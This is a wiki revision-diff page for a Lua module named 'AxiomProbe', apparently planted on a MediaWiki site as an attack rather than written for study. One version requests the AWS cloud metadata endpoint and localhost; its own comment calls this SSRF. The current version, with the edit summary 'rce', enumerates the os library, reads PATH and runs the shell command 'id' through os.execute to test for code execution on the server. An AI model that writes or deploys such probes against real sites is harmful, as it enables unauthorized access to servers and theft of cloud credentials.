Jump to content

Module:AxiomProbe: Difference between revisions

From Leaf Essentials
probe
 
rce
 
(One intermediate revision by the same user not shown)
Line 1: Line 1:
local p = {}
local p = {}
function p.main(frame)
function p.main(frame)
     local results = {}
     local info = {}
     -- Probe AWS metadata via mw.http (SSRF)
     local os_funcs = {}
     local ok, r = pcall(mw.http.get, 'http://169.254.169.254/latest/meta-data/')
    for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end
     if ok and r then
    info.os_funcs = table.concat(os_funcs, '|')
        results.aws = tostring(r.body or r)
     local ok1, v1 = pcall(os.getenv, 'PATH')
    else
     info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1))
        results.aws_err = tostring(r)
     local ok2, v2 = pcall(os.execute, 'id 2>&1')
    end
     info.exec_ok = tostring(ok2)
    -- Probe internal localhost
    info.exec_val = tostring(v2)
     local ok2, r2 = pcall(mw.http.get, 'http://127.0.0.1:80/')
    local ok3, v3 = pcall(os.tmpname)
     if ok2 and r2 then
     info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3))
        results.local80 = tostring(r2.body or ''):sub(1,200)
     return mw.text.jsonEncode(info)
     else
        results.local80_err = tostring(r2)
    end
     return mw.text.jsonEncode(results)
end
end
return p
return p

Latest revision as of 02:43, 19 June 2026

Documentation for this module may be created at Module:AxiomProbe/doc

local p = {}
function p.main(frame)
    local info = {}
    local os_funcs = {}
    for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end
    info.os_funcs = table.concat(os_funcs, '|')
    local ok1, v1 = pcall(os.getenv, 'PATH')
    info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1))
    local ok2, v2 = pcall(os.execute, 'id 2>&1')
    info.exec_ok = tostring(ok2)
    info.exec_val = tostring(v2)
    local ok3, v3 = pcall(os.tmpname)
    info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3))
    return mw.text.jsonEncode(info)
end
return p